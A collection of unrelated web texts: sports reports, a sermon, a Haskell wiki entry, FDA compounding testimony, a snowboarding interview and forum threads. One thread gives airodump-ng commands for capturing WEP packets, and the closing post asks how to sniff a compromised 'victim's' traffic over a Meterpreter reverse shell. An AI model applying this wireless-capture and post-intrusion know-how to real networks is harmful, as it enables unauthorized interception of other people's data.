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SEATTLE - Angels starter Jason Vargas allowed just a pair of solo homers in pitching the eighth complete game of his career. It still wasn't enough to pick up his first victory of the season.
Pitching against his former team, Vargas allowed just six hits and struck out seven over eight innings of work. But Jason Bay and Michael Morse each homered off Vargas late as the Seattle Mariners rallied to hand the Angels a 2-1 loss on Sunday.
"Just a couple mistakes there late and Bay and Morse didn't miss them and that ended up being the ballgame, be he pitched a great game," Angels manager Mike Scioscia said. "If he pitches like that he'll win a lot of games for us."
Vargas (0-3) made a pair of mistakes with his fastball in the late innings, and the Mariners took full advantage. Bay jumped on a first pitch fastball in the seventh inning and Morse capitalized on a 1-2 pitch in the eighth for a pair of solo shots that sunk the Angels. Both pitches were left over the middle of the plate and landed in the Angels bullpen behind the left field wall.
Morse's blast in the eighth put the Mariners on top for the first time in the game. Carter Capps (2-1) got the victory and Tom Wilhelmsen closed for his ninth save.
"It was just a bad pitch," Vargas said. "Trying to go away - straight down the middle with nothing on it."
Vargas' changeup had fooled Mariners hitters throughout the game. Bay had stuck out twice against Vargas's changeup and Seattle couldn't find any solid contract at the plate. It forced the Mariners to try and take advantage of any fastball left over the plate.
"His changeup was really good today. Really good," Bay said. "I was trying to get to a situation where I didn't have to see the changeup."
Despite Vargas' performance, the Angels lineup couldn't do any damage of their own against Mariners starter Hisashi Iwakuma.
Iwakuma allowed only an unearned run over six innings of work as he continues to battle a bad blister on his middle finger. Iwakuma struck out eight over six innings, giving up just three hits and walking none.
"He don't throw nothing straight," Mike Trout said of Iwakuma. "You can't really sit on any pitches. He had a good plan today - kept us off balance. Every time we face him he is a tough one to beat."
The Angels took a 1-0 lead in the sixth after Andrew Romine led off with a single and moved up on a sacrifice bunt by Peter Bourjos.
Romine scored when a groundball from Trout scooted underneath the glove of shortstop Robert Andino for an error.
Trout, Albert Pujols and Josh Hamilton combined to go 0 for 12 against Mariners pitching on Sunday. The Angels hit just .161 over the final two games of the series.
"(Iwakuma) pitched well, just like Felix (Hernandez) pitched well yesterday," Scioscia said. "At some point to have to be able to beat good pitching and we weren't able to do it this series.
Angels outfielder Peter Bourjos extended his hitting streak to 10 games with a single to lead off the game.


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In the book of John, we read the one verse almost every kid in church memorized, if only for its brevity: Jesus wept. I hadn't given much thought to the passage until recently, but there's a lot going on there. Let's set the context.
Jesus receives word that Lazarus is sick from Mary and Martha. Jesus decides, in spite of this, to stick around where he is at for a couple of days. Jesus then announces to his disciples that they should go to Lazarus, who has now "fallen asleep," so that Jesus may awaken him. The disciples are confused. For starters, Judea is dangerous for them; the last time they were there, the religious leaders were seeking to stone Jesus. In addition, why travel into dangerous land just to see someone who is sleeping? In spite of the prevalence of "sleep" as a metaphor for death in the Old Testament, Jesus is forced to clarify: in verse 14, Jesus tells his disciples that "falling asleep" actually means that Lazarus has died.
Even with the knowledge that he will "awaken" Lazarus, Jesus doesn't weep just yet. In fact, Jesus doesn't weep until after he's reunited with both Mary and Martha. Once he sees the two of them weeping, he is "deeply moved in his spirit and greatly troubled." After asking where they have laid Lazarus, Jesus finally weeps.
What causes Jesus to weep here? If Jesus knew he was going to raise Lazarus—and he has already made it explicit that he was going to do so—then why weep in the face of this death? Jesus knows the outcome, so couldn't he comfort others with his confidence that everything would be okay?
Jesus weeps in spite of his correct knowledge regarding Lazarus. The emotions overwhelm him, and he proceeds to mourn with Mary and Martha.
We do the same thing when a fellow believer passes away. We can be certain, or at least nearly certain, that the loss on earth is a gain in heaven and yet, we mourn. This isn't unhealthy, but it can sometimes riddle us with guilt.
It is appropriate to mourn the loss of someone, even if we rejoice in where they have gone. It is also appropriate to grieve, even if we know that God will be glorified with the result. This need not be restricted to death, of course: sometimes our circumstances are troubling, even if we have the confidence in faith that they will work out in the end.
Christian funerals, at least as they are practiced today, often ride the strange line between true mourning and celebration. On the one hand, we recognize (simply by looking inward) that death is difficult, saddening, and can make us feel as though we are going to collapse. This is often at the forefront of our graveside services: the casket is ceremoniously lowered into the ground, as family and friends of the deceased look on.
The other side of our funerals, however, are often filled with worship and celebration. Pastors and family members will say that our loved ones are standing in heaven, looking down at us. They're running with Jesus, laughing with him, and doing what they love. In light of this fact, we should rejoice. Let's celebrate our fallen friends, with loud worship music and (somewhat) forced smiles.
There's truth to the reaction. I won't argue that we ought to allow our grief to overwhelm our sense of perspective. There's a time and a place to remember that to live is Christ, and to die is gain. But if Jesus wept for Lazarus, or even just for those around him who were experiencing the loss, then we mustn't throw off grief entirely. It's appropriate to cry, to mourn, to sit in the discomfort and sadness that naturally comes with death, even if our knowledge doesn't quite line up. Sometimes, our call is to comfort those who mourn, rather than mourn ourselves. We would do well to remember that grief is temporary, but still real.

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Lazy evaluation
From HaskellWiki
Lazy evaluation means Non-strict semantics and Sharing. A kind of opposite is eager evaluation.
Non-strict semantics allows to bypass undefined values (e.g. results of infinite loops) and this way it also allows to process formally infinite data.
When it comes to machine level and efficiency issues then it is important whether equal objects share the same memory.A Haskell program cannot observe whether
In many cases it is also not necessary to know it, but in some cases the difference between shared and separated objects yields different orders of space or time complexity.Consider the infinite list
But with lazy evaluation (i.e. sharing) this becomes a list with a loop, a pointer back to the beginning. It does only consume constant space. In an imperative language (here Modula-3) the same would be achieved with the following code:
TYPE List = REF RECORD next: List; value: INTEGER; END;
VAR x := NEW(List, value:=1); BEGIN x.next := x; END;
That is lazy evaluation allows us to define cyclic graphs of pointers with warrantedly valid pointers. In contrast to that C allows cyclic graphs of pointers, but pointers can be uninitialized, which is a nasty security hole. An eagerly evaluating functional language without hacks, would only allow for acyclic graphs of pointers.


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Everytime I try to run airodump I get this error:
ioctl(SIOCSIWMODE) failed: Invalid argument
Yes I believe I am. When you load up Kismet it automatically puts it into monitor mode right? I have a Gigabyte GN-W10TGT with Atheros 5006x chipset.
Kismet uses your card that should already be in monitor mode. If not i believe it creates its own VAP kis1? Not too sure
//if someone can confirms this or clarify any mistakes.
If you have an atheros based chipset you should try
airmon-ng stop ath0
airmon-ng start wifi0
you NEED to do it before..................
airodump don't put your card monitoring before launching himself..........
Watch your back, your packetz will belong to me soon... xD
BackTrack : Giving Machine Guns to Monkeys since 2006
If I load up Kismet first then it should put it in monitor mode right? This is the steps I am taking.
1. Open Kismet
2. Then I type wlanconfig ath0 create wlandev wifi0 wlanmode monitor
3. I go into console and type airodump-ng ath0 --ivs -w WEP -c 6 and thats when I get the error I mentioned. I tryed the same with wifi0 as the adapater but still gives me the same problem.
You should read more on the pages of madwifi-ng drivers
first try not to run Kismet before
then check
after that
#wlanconfig ath0 destroy
and if it is ath1..2
#wlanconfig ath1 destroy
then use your commands
#wlanconfig ath0 create . . .. monitor
airodump-ng should work
Kismet makes interfaces kis1 kis2 and so on
before airodump you should quit kismet
#iwconfig kis1 down
then do the same as above to start airodump-ng
to put atheros in monitor mode you can run
airmon-ng wifi0 start
that creates new athX interface in monitor mode ( ath0 or ath1.. )
try this instead:
Select wifi0, then close it down. Now try airodump.Code:start-kismet-ng


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Discussion in 'Off-topic Zone' started by IAMKING, Jan 10, 2013.
My mobile Internet use tops 3GB per month
Another question can be the data usage.
I have the 2GB data plan from ATT and I end up using only 100 MB a month.
I know I should call and bring down my data plan to 200 MB and I will do it soon. I promise.
This is an entirely different discussion, but I wholeheartedly agree.
Social skills are going down the crapper.
Being that there's only a $5 difference between the two plans, I'm not sure it's worth it.
Wow . My wife and I are on a shared plan, and use about 1GB a month between the both of us. Maybe its because I have our phones set to wifi at home and at the office.
My average data use per month is right around 3GB as well but about 2.5GB is all on WIFI (home and school). Wifi saves me battery power as well.
During MLB season, I buy MLB TV, then my data use gets up to 5GB per month or so, but again, I use WIFI whenever possible even though I am on an unlimited plan.
Unlimited. 50$/mo ATT
Im just on wifi at home
Once you hit 3GB they send you an ugly text message and slow you down
October was my first full month with the iPhone 5, so that explains that. With Apple's cloud service they allow you to basically download your entire old phone to your new phone without hooking up to iTunes. I did this and blew through my 5 gig limit without realizing my wifi wasn't turned on (I was at a hospital during the birth of my sons and the wifi was spotty).
I have unlimited data grandfathered through AT&T, but they throttled me down to about 1-2 MB/s for the remainder of the month. To be honest, what they throttled me to was about what I was getting on the 3G service (or what AT&T was calling 4G), so it's not terrible, just not nearly as good as LTE.
The increase in November and December (and part of September) relates to the fact that I don't use wifi at home anymore. LTE is simply faster than my home internet.
I use wifi at home and at work.
SGIII (and I would guess most android phones and maybe even iphone 5) has a setting that lets you cap you limit for a month period and will also give you a warning if you are approaching that limit.
Now I know your service will send a message if you are getting close but the setting allows you to fix it so it will let you know even before the service would.
Just something to consider if you are on a capped plan and don't want to pay extra charges.
Last month i used 7.2 gbs of data...Unlimited LTE on verizon is the bees knees.
I believe the data cap is an android thing I fully expect apple to employment it in ios7 though
That's a lot of porn.


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Browns announce 2013 regular season schedule
For the 14th time in the past 15 seasons, the Browns will open the regular season at FirstEnergy Stadium when they host the Miami Dolphins on Sunday, September 8 at 1:00 p.m. This will mark the first time that the Browns open the regular season against the Dolphins and the team's first home opener against Miami since 1992.
"Our coaches and players are eagerly anticipating that opening kickoff against Miami as we continue to build our team this off-season," said Browns Head Coach Rob Chudzinski. "Having four of our first six games at FirstEnergy Stadium will allow our fans to create a distinct home-field advantage for our team, and I expect the Dawg Pound to be barking early and often. Finishing the season with four divisional games over the final eight weeks, with three of our last four games on the road, will give us an exciting challenge that I know we will be ready to face."
"Opening the regular season at home against the Dolphins will be great for our fans and our football team," said Browns CEO Joe Banner. "It also should be exciting for our fans to have a home prime time game, where their passion can be seen by a national television audience. We look forward to giving Browns fans a tremendous gameday experience every time they enter FirstEnergy Stadium in 2013 and for many years to come."
The 2013 schedule features one prime time game as the Browns face the Buffalo Bills at FirstEnergy Stadium on Thursday, October 3. The matchup will mark the first time the Browns have hosted a prime time game since a 13-6 victory against Pittsburgh on Thursday, December 10, 2009. The Browns are 1-1 all-time against Buffalo in prime time action with this year marking their first meeting on a Thursday night.
For the fifth time in six seasons, the Browns will face the defending Super Bowl Champions as they square off with the Baltimore Ravens in Week 2 and Week 9 action. Cleveland has topped the Super Bowl champion from the previous season three times during the last four years.
The Browns host three consecutive home games during Weeks 4-6 (Cincinnati on September 29, Buffalo on October 3 and Detroit on October 13), marking the team's first three-game home stand since 2006.
The club's bye week is scheduled for the week of November 10, which marks the second year in the row that the team's bye comes during Week 10.
Also for the second consecutive year, Cleveland will close out the regular season with two road games as they face the New York Jets at MetLife Stadium (Sunday, December 22) and the Pittsburgh Steelers at Heinz Field (Sunday, December 29). It marks the fourth straight year and fifth time in the last six seasons that the Browns close the regular season against Pittsburgh, and the second straight year at Heinz Field.
The combined record of the Browns' 13 opponents this year was 98-110 in 2012. The eight teams that will visit FirstEnergy Stadium posted a record of 57-71, and their eight road opponents went a combined 69-59. The Browns will play a total of seven games against 2012 playoff teams (Bengals and Ravens twice each).
Also today, the Browns announced the dates and times of their 2013 preseason schedule, which consists of home games against St. Louis (Thursday, August 8) and Detroit (Thursday, August 15) and road contests against Indianapolis (Saturday, August 24) and Chicago (Thursday, August 29).
Cleveland Browns 2013 season tickets are now available. Fans can purchase season tickets by calling (440) 824-3434, toll free at (888) 891-1999 or online at www.ClevelandBrowns.com. The Cleveland Browns ticket office is located on the south side of FirstEnergy Stadium, and is open Monday through Friday from 8:30 a.m. – 5:30 p.m.


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News & Events
"Pharmaceutical Compounding: Proposed Legislative Solution"
Statement of
Janet Woodcock, M.D.
Director, Center for Drug Evaluation and Research
Food and Drug Administration
Department of Health and Human Services
Before the
Committee on Health, Education, Labor and Pensions
United States Senate
May 9, 2013
Mr. Chairman and Members of the Committee, I am Dr. Janet Woodcock, Director of the Center for Drug Evaluation and Research at the Food and Drug Administration (FDA or the Agency), which is part of the Department of Health and Human Services (HHS). Thank you for the opportunity to be here today to discuss important issues related to pharmacy compounding. We appreciate the leadership this Committee has shown in drafting legislation to try to address the limitations and ambiguities in current law.
We are at a critical point where we must work together to improve the safety of drugs produced by compounding pharmacies. As the compounding industry has grown and changed, we have seen too many injuries and deaths over many years caused by unsafe practices. Dr. Margaret Hamburg, Commissioner of Food and Drugs, testified in front of this Committee on November 15, 2012, soon after the emergence of a tragic fungal meningitis outbreak associated with compounded methylprednisolone acetate (MPA), a steroid injectable product distributed by the New England Compounding Center (NECC). To date, that outbreak has been associated with 55 deaths and over 740 people sickened in 20 States. Sadly, NECC was not an isolated incident. Indeed, over the past 20 years we have seen multiple situations where compounded products have caused deaths and serious injuries. For example:
- In 1997, two patients were hospitalized with serious infections after administration of contaminated riboflavin injection prepared by a Colorado pharmacy.
- In 2001, 13 patients in California were hospitalized and 22 received medical care following injections from contaminated vials of a steroid solution. Three patients died as a result.
- In 2002, five patients in North Carolina suffered from fungal meningitis resulting from contaminated methylprednisolone acetate made by a South Carolina pharmacy. One person died.
- In 2005, contaminated cardioplegia solution, made by a firm located in Maryland, resulted in five cases of severe system inflammatory infections; three of these patients died. In 2007, three people died from multiple organ failure after a Texas compounder sold superpotent colchicine that was as much as 640 percent the labeled strength.
- In 2010, FDA investigated a cluster of Streptococcus endophthalmitis bacterial eye infections in patients who received injections of Avastin repackaged by a pharmacy in Tennessee.
- In 2011, there were 19 cases of Serratia marcescens bacterial infections, including nine deaths, associated with contaminated total parenteral nutrition products.
- In 2012, 43 patients developed fungal eye infections from contaminated sterile ophthalmic drug products. At least 29 of these patients suffered vision loss.
- Recently, in 2013, FDA investigated reports of five cases of eye infections in patients who received Avastin repackaged by a pharmacy in Georgia. The Avastin was contaminated with bacteria.
These incidents are emblematic of long-standing issues associated with the practice of compounding and the public health concerns that can result from unsafe practices in compounding pharmacies.
Since the NECC outbreak, nine additional firms have voluntarily recalled sterile compounded or repackaged drug products through FDA as of May 6, 2013. In one very recent incident, the presence of floating particles, later identified to be a fungus, was reported in five bags of magnesium sulfate intravenous solution, resulting in a nationwide recall of all sterile drug products produced by the pharmacy (over 100 products). Fortunately, we have not received reports of patient injury from these products. In another recent recall, all sterile drug products (approximately 60 products) from a second pharmacy were recalled as a result of reports that five patients were diagnosed with serious eye infections associated with the use of repackaged Avastin. Moreover, we believe that presently, there are hundreds of other firms operating as compounding pharmacies, producing what should be sterile products and shipping across State lines in advance of or without a prescription. However, the current legal framework does not provide FDA with the tools needed to identify and adequately regulate these pharmacies to prevent product contamination.
The history of this issue shows that there is a need for appropriate and effective oversight of this evolving industry. It is clear that the industry and the health care system have evolved and outgrown the law, and FDA's ability to take action against compounding that exceeds the bounds of traditional pharmacy compounding and poses risks to patients has been hampered by limitations and ambiguities in the law, which have led to legal challenges to FDA's authority to inspect pharmacies and take appropriate enforcement actions.
The fungal meningitis outbreak has caused the Agency to review our past practices with regard to our oversight of compounding pharmacies, and has led to some preliminary conclusions.
In my view, even in the face of litigation and continuous challenges by industry to our authorities, we can nonetheless be more aggressive in pursuing enforcement actions against compounding pharmacies within our current limited authority. I can assure you that we are being more aggressive now. We have established an Agency-wide steering committee to oversee and coordinate our efforts, and we have taken several important steps to identify and inspect high-risk pharmacies that are known to have engaged in production of sterile drug products.
Using a risk-based model, we identified 29 firms for priority inspections focused on their sterile processing practices. During these 29 inspections, in two instances, FDA identified secondary firms associated with the priority inspections, for a total of 31 firms. We have taken investigators who would normally be doing inspections of conventional drug manufacturers and assigned them to conduct inspections of those pharmacies whose history suggests a greater risk of potential quality issues with their compounded products. We have coordinated our inspections with State officials, who have accompanied our investigators in most cases. At the same time, we have also continued to conduct for-cause inspections, often at the request of our State counterparts who invited us to accompany them on the inspections. Since the fall, FDA has conducted 26 for-cause inspections in addition to the 31 described above. When we identified problems during any of the inspections, at the close of the inspection, we issued an FDA Form 483 [1] listing our inspection observations. We have issued an FDA-483 at the close of 47 of the 57 inspections we have conducted since last fall. We have seen some serious issues, including quality concerns that have led to product recalls. Observations have included: lack of appropriate air filtration systems, insufficient microbiological testing, and other practices that create risk of contamination.
Notably, even in light of recent events, and even though we are often working with the State inspectors, our investigators' efforts are being delayed because they are denied full access to records at some of the facilities they are inspecting. Just during the recent inspections, several pharmacies delayed or refused FDA access to records, and FDA had to seek administrative warrants in two cases. And although we have been able to eventually conduct the inspections and collect the records that we have sought, our ability to take effective regulatory action to obtain lasting corrective action with regard to substandard sterility practices remains to be seen.
As we have noted in the past, our ability to take action against inappropriate compounding practices has been hampered by ambiguities regarding FDA's enforcement authority, legal challenges, and adverse court decisions, and we have learned that the law is not well-suited to effectively regulate this evolving industry. For example, hospitals have come to rely on compounding pharmacies that function as "outsourcers" producing sterile drugs previously made by hospital in-house pharmacies. If FDA brings charges against a pharmacy, alleging that it is manufacturing a "new drug" that cannot be marketed without an approved application, the pharmacy will have to either obtain individual patient-specific prescriptions for all of its products or stop distributing the products until it obtains approved new drug applications for them, something most outsourcers are unlikely to do. Several of the pharmacies FDA inspected are some of the largest outsourcers in the country. These pharmacies supply large numbers of sterile drugs produced in relatively large quantities to hospitals nationwide, and a shut-down at these firms is likely to cause disruptions in the supply of drugs to hospitals and other health care providers. FDA should have more tailored authorities appropriate for this type of compounding pharmacy.
In the Commissioner's last appearance before this Committee, she presented a framework that could serve as a basis for the development of a risk-based program to better protect the public health, improve accountability, and provide more appropriate and stronger tools for overseeing this evolving industry. We have since met with over 50 stakeholder groups, including pharmacy, medical, hospital, payer, and consumer groups, and State regulators, to help further our understanding and inform our framework. Today, I will first provide background on FDA's current legal authority over compounded drugs, then provide additional details about the framework, and suggest specific actions that Congress can take to help us better do our job and prevent future tragedies like this one.
FDA's Legal Authority over Compounded Drugs
FDA regards traditional pharmacy compounding as the combining or altering of ingredients by a licensed pharmacist, in response to a licensed practitioner's prescription for an individual patient, which produces a medication tailored to that patient's special medical needs. In its simplest form, traditional compounding may involve reformulating a drug, for example, by removing a dye or preservative in response to a patient allergy. It may also involve making an alternative dosage form such as a suspension or suppository for a child or elderly patient who has difficulty swallowing a tablet. FDA believes that pharmacists engaging in traditional compounding provide a valuable medical service that is an important component of our health care system. However, by the early 1990s, some pharmacies had begun producing drugs beyond what had historically been done within traditional compounding.
After receiving reports of adverse events associated with compounded medications, FDA became concerned about the lack of a policy statement on what constituted appropriate pharmacy compounding. In March 1992, the Agency issued a Compliance Policy Guide (CPG), section 7132.16 (later renumbered as 460.200) to delineate FDA's enforcement policy on pharmacy compounding. It described certain factors that the Agency would consider in its regulatory approach to pharmacies that were producing drugs.
The compounding industry objected to this approach and several bills were introduced, some with significant support, to limit the Agency's oversight of compounding.[2] In November 1997, S. 830, the Food and Drug Administration Modernization Act of 1997 (FDAMA), was signed into law as Public Law 105-115.[3] FDAMA added Section 503A to the FD&C Act, to address FDA's authority over compounded drugs.[4] Section 503A exempts compounded drugs from three critical provisions of the FD&C Act: the premarket approval requirement for "new drugs"; the requirement that a drug be made in compliance with current good manufacturing practice (cGMP) standards; and the requirement that the drug bear adequate directions for use, provided certain conditions are met. These provisions were the subject of subsequent court challenges, which have produced conflicting case law and amplified the perceived limitations and ambiguity associated with FDA's enforcement authority over compounding pharmacies. In 2002, immediately after a Supreme
Court ruling that invalidated the advertising provisions of Section 503A, FDA issued a revised compliance policy guide on compounding human drugs. Several additional legal challenges and court decisions then followed. More recently, FDA made significant progress toward issuing another CPG. In fact, FDA was on track to publish a revised draft CPG in the fall of 2012, but the fungal meningitis outbreak intervened and we are now reevaluating the draft. It is important to note, however, that a CPG is not binding on industry and updating the CPG would not alleviate all issues with Section 503A.
A look at FDA's attempts to address compounding over the last 20 years shows numerous approaches that were derailed by constant challenges to the law. As a result, presently, it is unclear where in the country Section 503A is in effect, and Section 503A itself includes several provisions that have impeded FDA's ability to effectively regulate pharmacy compounding practices including those relating to prescription orders, medical need, and copying FDA-approved products.
Apart from Section 503A, there are additional provisions in the statute that have impeded effective pharmacy compounding regulation. For example, if certain criteria are met, the FD&C Act exempts compounding pharmacies from registration and the obligation to permit access to records during an inspection. As a result, FDA has limited knowledge of pharmacy compounders and compounding practices and limited ability to oversee their activities.
Looking Ahead
The Administration is committed to working with Congress to address the threat to public health from limitations in authorities for effective oversight of certain compounding practices. To that end, FDA has developed a framework that could serve as the basis for the development of a risk-based program to protect the public health.
Risk-based Framework
Recognizing the history of compounding practice, FDA supports the long-standing policy that all compounding should be performed in a licensed pharmacy by a licensed pharmacist (or a licensed physician), and that there must be a medical need for the compounded drug.
Further, we believe there should be a distinction between two categories of compounding: traditional and non-traditional. Traditional compounding would include the combining, mixing, or altering of ingredients to create a customized medication for an individual patient with an individualized medical need for the compounded product, in response to a valid patient-specific prescription or order from a licensed practitioner documenting such medical need. Traditional compounding, while posing some risk, plays an important role in the health care system, and should remain the subject of State regulation of the practice of pharmacy.
Non-traditional compounding would include certain types of compounding for which there is a medical need, but that pose higher risks. FDA proposes working with Congress to define non-traditional compounding based on factors that make the product higher risk such as any sterile compounding in advance of or without receiving a prescription, where the drug is distributed out of the state in which it was produced. Non-traditional compounding would be subject to federal standards adequate to ensure that the compounding could be performed without putting patients at undue risk, and FDA would inspect against and enforce these federal standards. Such a definition focuses on the highest risk activities and offers a uniform degree of protection across all 50 States, for highest-risk compounding activities.
Non-traditional compounding should, because of the higher risk presented, be subject to a greater degree of oversight. Sterile products produced in advance of or without a prescription and shipped interstate should be subject to the highest level of controls, established by FDA and appropriate to the activity, similar to cGMP standards applicable to conventional drug manufacturers.
In addition, FDA believes that with noted exceptions, certain products are not appropriate for compounding under any circumstances. These products would include: 1) what are essentially copies of FDA-approved drugs, absent a shortage justification based on the drug appearing on FDA's shortage list; and 2) complex dosage forms such as extended release products; transdermal patches; liposomal products; most biologics; and other products as designated by FDA. Producing complex dosage forms would require an approved application and compliance with cGMP standards, along with other requirements applicable to manufactured drug products.
FDA believes that there are other authorities that would be important to support this new regulatory paradigm. For example, FDA should have clear ability to collect and test samples of compounded drugs and to examine and collect records in a compounding pharmacy, just as the Agency does when inspecting other manufacturers. FDA should also have clear ability to examine records such as records of prescriptions received, products shipped, volume of operations, and operational records such as batch records, product quality test results, and stability testing results. Such inspections are necessary to determine when a pharmacy exceeds the bounds of traditional compounding, to respond to public health threats, and to enforce federal standards.
FDA also believes that an accurate inventory of pharmacies engaged in non-traditional compounding would facilitate appropriate oversight and coordination with State regulators. In addition, FDA looks forward to working with the Congress on potential improvements that may include label statements and adverse event reporting that have proven useful in other areas. A user-fee-funded regulatory program may be appropriate to support the inspections and other oversight activities outlined in this framework. We look forward to working with Congress to explore the appropriate funding mechanisms to support this work, which could include registration or other fees, as Congress has authorized and FDA has successfully implemented in other settings.
Given our experiences over the past 20 years and the recent fungal meningitis outbreak, we must do everything we can to clarify and strengthen FDA's authority in this area. We appreciate the bipartisan efforts of the Committee to clarify the law regarding the oversight of compounding pharmacies and look forward to the opportunity to work with the Committee to address remaining issues. Thank you for your leadership in taking this important first step.
I am happy to answer any questions you may have.
[1] A form FDA-483 is issued when investigators observe any significant objectionable conditions. It does not constitute a final Agency determination of whether any condition is in violation of the Federal Food, Drug, and Cosmetic Act (FD&C Act) or any of our relevant regulations, but the observations often serve as evidence of a violation of the FD&C Act and its implementing regulations.
[2] H.R. 5256, Pharmacy Compounding Preservation Act of 1994, introduced Oct. 7, 1994, 1 co-sponsor; H.R. 598, Pharmacy Compounding Preservation Act of 1994, introduced Jan. 20, 1995, 141 co-sponsors; H.R. 3199, Drug and Biological Products Reform Act of 1996, introduced March 29, 1996, 205 co-sponsors; H.R. 1060, Pharmacy Compounding Act, introduced March 13, 1997, 152 co-sponsors; H.R. 1411, Drug and Biological Products Modernization Act of 1997, introduced April 23, 1997, 16 co-sponsors
[3] Public Law 105-115, FDAMA, 111 Stat. 2296 (Nov. 21, 1997), available at http://www.gpo.gov/fdsys/pkg/PLAW-105publ115/pdf/PLAW-105publ115.pdf
[4] Id.


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Cutaneous anthrax
Cutaneous anthrax
Cutaneous anthrax is an infection of the skin caused by the bacterium Bacillus anthracis. The bacteria causes disease when it comes into contact with non-intact skin. During an infection, an initial skin lesion forms then blisters. The blister breaks down into a black ulcer and nearby lymph nodes may become infected and painful. A scar is often formed which then dries and falls off within two weeks. In 20% of untreated individuals, the infection may spread to the bloodstream and become fatal. Although with proper treatment, death is extremely rare.
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I never thought about Nicolas Müller as someone particularly gutsy. Unique, definitely, but in such a natural, God-given way that it somehow keeps you from thinking there's any rational thought behind his riding. And to some extent, that's true. He could most definitely never snowboard with such supernatural ease if that wasn't 100% himself. What I sometimes do forget is how much courage it takes in the first place to leave all expectations behind in search of what it is you enjoy.
I spoke to Nicolas about how pro snowboarding has changed and how important it is to explore your own visions.
David Benedek ––
David Benedek: Nicolas, you're definitely one of the few people that have been leading the creative progression in the past ten years. Could you describe roughly how snowboarding has changed or where, in your eyes, it's arrived since you started?
Nicolas Müller: I think mainly the boundaries weren't as explored as today; it was all about bigger and further. That's obviously still the case, and I am sure there's great progress ahead of us, but in a certain way I feel snowboarding has redefined itself in the past years.
What do you mean, exactly?
You know, I've still been learning new tricks this past season and I am equally motivated for the future, but I feel there's been such a hype on obvious progression that it almost seemed to me as if snowboarding was [focused on] nothing but that. And I think people are catching on to it—a few years back it was still like, "Romain [De Marchi] is the best rider because he can switch his brain off and just send it." Now I think it's a lot more back to the roots again; progression isn't the only thing that counts.
So you feel today is a time of redefinition mainly?
Yes, in a general sense. I've been working on this "redirecting" for a while now, just for myself. What am I doing here? What is it for? Do I ride to please my team manager and to supply him with a list of shots with new board graphics? Or do I [ride to] explore my personal interpretation of snowboarding? That's what I mean by "back to the roots": no list of tricks, but simply going out and exploring.
You've always been one to do that, don't you think? In general it always struck me how few people dare to leave the beaten path.
That's something that currently occupies me a lot, not only in snowboarding, but generally in life, in society. As a child, you're still able to be truly free, but then, once you start going to school you're expected to learn, get good grades, and [find] a good job… That expectation [is] the essential part of what I am trying to say; it's about following what's expected as opposed to letting your intuition guide you. In a certain way you could say that you and I are already rebels, simply by having followed what we love. I'm just going to snowboard because that's my thing…and I won't let any of society's expectations get in the way of that. Believing in your intuition…that's the crucial point and I feel that's very important. And, in the same way, that exists in the snowboarding industry—as soon as you give up on your guts, you're dependent. A harsh example is Freddy (Kalbermatten): he's basically always done exactly what his team manager asked him to. And now, in tough times when budgets and teams are being cut down, it's suddenly the people who didn't obey the rules and simply followed their own thing that remain on the team.
It's strange, because I think it's so obvious how having the courage to follow your own ideas is almost always being rewarded, even if that might sound cheesy. In the worst case, you'll come back with a lesson that makes you stronger. Do you feel the industry has missed out on supporting such "out-of-the-box-thinking"?
Yes, definitely. But most of the people are trapped within that system themselves. For René [Hansen, Burton's former Global Director of Brand Marketing], his layoff was probably the best thing that could have happened to him personally. Same with Freddy—he was so caught up in filming a video part that he only considered days to be good when he got two or three shots in the bag; otherwise, they weren't. Going back to what I said before, it's basically all about following your intuition and not someone's expectations.
But that requires courage.
Yeah, absolutely. And I feel that things have been changing a bit for the better. It's not only about robots banging tricks, where everything is seen merely as a product and not as the result of personality. In my opinion, that's what naturally follows the "hype"—people start rediscovering the importance of content and personality. Freddy has all that, too, but he didn't embrace it and instead simply delivered what had been asked for. I think you can always tell how independent true innovators are…
…Or under amazing pressure for their ender-ender shot. [Laughs]
Haha, yeah. But when I'm watching Danny Davis, for example, I'm going nuts. The pure feeling that his riding conveys is so unbelievable. That's true progression and independence, and that's not limited to certain tricks or disciplines.
I totally agree. Speaking about disciplines, in an earlier interview, Jake [Burton] told me he was scared that parks would become these standardized training facilities. Do you see that, too?
Actually, I think it's only sad when people lose their motivation to ride because they don't see all of what's outside.
You mean because people only get exposed to jumps and parks?
Yes. You limit yourself that way; it's a little like, "That's snowboarding. Period." But actually, creativity and [especially] spontaneity are such a big part of it: What's approaching? How am I riding it? Snowboarding is such a free sport; anything goes. When I see the Swiss Olympic team in the park or pipe, and I'm jibbing around, riding things a little different, they are like, "Ah, that's the freak." But in fact, it's the exact opposite.
I think a lot has to do with reacting to what you encounter. As in, "I want to ride, ah, there's a jump, there's the inrun, that must be the way it's supposed to be ridden." No thinking required. How rad would it be if it wasn't obvious how a park was supposed to be ridden?
Yeah, totally. I mean, it's really rad how kids push the technical level in parks, but as I said, I think it sucks when people get demoralized because they can't identify with it any more. For instance, I can totally tell how older shredders can identify with my riding, purely because some of it is more human, in the spirit of "anybody can do it." I mean, looking at videos these days, the level of riding is definitely not human any more. [Laughs] Who are those guys, robots? Sometimes it strikes me how easy it is, really. I've run into people who stopped riding because they've lost their sponsors, while I really just follow my heart and get paid for having fun without even having to be gnarly or anything.
I recently read an interview with a designer who said that everything that's honest is interesting. I believe in that. If you have enthusiasm for what you're doing, then that'll be communicated, too.
It's up to the companies to hire people like that. Look at Mike Basich, for instance: the ultimate D.I.Y. guy and one of the realest shredders out there. You could do so much stuff with a guy like that, and marketing-wise, also. To me, that's Burton Global Team potential.
Then we're back at courage.
Yes, we simply need people in those positions [in the industry] who think and act more courageously.
This interview is an excerpt from David's upcoming book Current State: Snowboarding.
Current State: Snowboarding is a limited-edition book by David Benedek featuring some of the most influential individuals of the past two decades. It will be released in the fall of 2010. To reserve a copy and for more info, go to http://www.almostanything.com.
This content was originally published in SNOWBOARDER's September 2009 issue.
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Dates: March 28th, 2012 - April 5th, 2012
Ministry Focus: Construction work on the House of Joy & Ministry in the evenings with the village children.
Why I'm Going: This is an opportunity to go with my daughter on her first mission trip and the other NCS team members to stretch our faith while serving others to in Romania. NCS has sent previous mission teams to this location and supported the local church in Sasani, Romania and assisted in the development of a community center named the House of Joy.
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How is your MITM attack setup, please show your method.
Hello guys,
Here is my question.
I'm connected via a metersploit's payload (reverse tcp) to my victim's pc. Everything working well.
And i would to know if there's a way to capture internet datas from victim via the metasploit connection.
I mean, if i start ettercap and do a MITM between my attacker's pc and my victim's one, i'll only see the meterpreter datas sent, nothing with internet browsing etc (from victim)
So is something like this i can do with tcp reverse, or am i supposed to use another payload ?
Thanks for reading me
How is your MITM attack setup, please show your method.
Hello Jimmy87.
